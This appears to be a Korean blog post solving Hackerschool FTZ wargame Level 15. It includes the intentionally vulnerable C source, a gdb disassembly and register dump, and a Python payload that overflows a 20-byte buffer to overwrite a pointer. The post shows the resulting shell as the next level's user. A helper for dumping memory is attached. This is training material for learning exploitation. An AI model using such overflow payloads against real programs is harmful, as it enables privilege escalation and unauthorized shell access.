스택 구조 확인.

/ 해당 내용은 공부를 하며 정리한 내용으로 틀린 부분이 있을수도 있습니다. /

해커스쿨(ftz.hackerschool.org:23) 워게임 Level 15번을 풀면서 정리한 내용입니다.
먼저 hint 파일을 보겠습니다.

#include <stdio.h>

main()
{ int crap;
  int *check;
  char buf[20];
  fgets(buf,45,stdin);
  if (*check==0xdeadbeef)
   {
     setreuid(3096,3096);
     system("/bin/sh");
   }
}

소스를 보면 crap, check, buf순으로 선언이 되었음을 알수 있습니다.
스택이니 buf의 주소가 스택의 가장 윗부분일 것입니다.
해당 문제의 포인트는 버퍼에 0xdeadbeef를 넣고 check 주소를 buf의 주소로 바꾸는 것입니다.

우리가 알아야 할 것 - buf의 주소
그럼 gdb를 통해 알아보겠습니다.

(gdb) disassemble main
Dump of assembler code for function main:
0x08048490 <main+0>:    push   %ebp
0x08048491 <main+1>:    mov    %esp,%ebp
0x08048493 <main+3>:    sub    $0x38,%esp
0x08048496 <main+6>:    sub    $0x4,%esp
0x08048499 <main+9>:    pushl  0x8049664
0x0804849f <main+15>:   push   $0x2d
0x080484a1 <main+17>:   lea    0xffffffc8(%ebp),%eax
0x080484a4 <main+20>:   push   %eax
0x080484a5 <main+21>:   call   0x8048360 <fgets>
0x080484aa <main+26>:   add    $0x10,%esp
0x080484ad <main+29>:   mov    0xfffffff0(%ebp),%eax
0x080484b0 <main+32>:   cmpl   $0xdeadbeef,(%eax)
0x080484b6 <main+38>:   jne    0x80484dd <main+77>
0x080484b8 <main+40>:   sub    $0x8,%esp
0x080484bb <main+43>:   push   $0xc18
0x080484c0 <main+48>:   push   $0xc18
0x080484c5 <main+53>:   call   0x8048380 <setreuid>
0x080484ca <main+58>:   add    $0x10,%esp
0x080484cd <main+61>:   sub    $0xc,%esp
0x080484d0 <main+64>:   push   $0x8048548
0x080484d5 <main+69>:   call   0x8048340 <system>
0x080484da <main+74>:   add    $0x10,%esp
0x080484dd <main+77>:   leave
0x080484de <main+78>:   ret   
0x080484df <main+79>:   nop   
End of assembler dump.
(gdb)

main+6 위치에서 스택 공간이 할당되므로 해당 위치에 break point를 걸고
그때의 register 주소값을 보면 스택의 시작위치를 알 수 있습니다.

[level15@ftz level15]$ gdb -q attackme
(gdb) b *main+6
Breakpoint 1 at 0x8048496
(gdb) r
Starting program: /home/level15/attackme

Breakpoint 1, 0x08048496 in main ()
(gdb) info registers
eax            0x1      1
ecx            0x40151a0c       1075124748
edx            0x8049560        134518112
ebx            0x401541c0       1075134912
esp            0xbffffb00       0xbffffb00
ebp            0xbffffb38       0xbffffb38
esi            0x40015360       1073828704
edi            0xbffffb84       -1073742972
eip            0x8048496        0x8048496
eflags         0x286    646
cs             0x23     35
ss             0x2b     43
ds             0x2b     43
es             0x2b     43
fs             0x0      0
gs             0x0      0
(gdb)

0xbffffb00가 스택의 시작 위치 입니다. 그럼 공격을 해보도록 하죠.

[level15@ftz level15]$ (python -c "print '\xef\xbe\xad\xde' + 'A'*36 + '\x00\xfb\xff\xbf'";cat) | ./attackme   
id
uid=3096(level16) gid=3095(level15) groups=3095(level15)

공격이 성공되었습니다. 실제 이러한 주소는 dumpcode로 메모리를 dump하여 확인하여 보는데 더 정확합니다.
ohara님의 dumpcode.h를 아래에 첨부 합니다.

void printchar(unsigned char c)
{
    if(isprint(c))
        printf("%c",c);
    else
        printf(".");
}
void dumpcode(unsigned char *buff, int len)
{
    int i;
    for(i=0;i<len;i++)
    {
        if(i%16==0)
            printf("0x%08x  ",&buff[i]);
        printf("%02x ",buff[i]);
        if(i%16-15==0)
        {
            int j;
            printf("  ");
            for(j=i-15;j<=i;j++)
                printchar(buff[j]);
            printf("\n");
        }
    }
    if(i%16!=0)
    {
        int j;
        int spaces=(len-i+16-i%16)*3+2;
        for(j=0;j<spaces;j++)
            printf(" ");
        for(j=i-i%16;j<len;j++)
            printchar(buff[j]);
    }
    printf("\n");
}

답글 남기기

이메일 주소는 공개되지 않습니다. 필수 항목은 *(으)로 표시합니다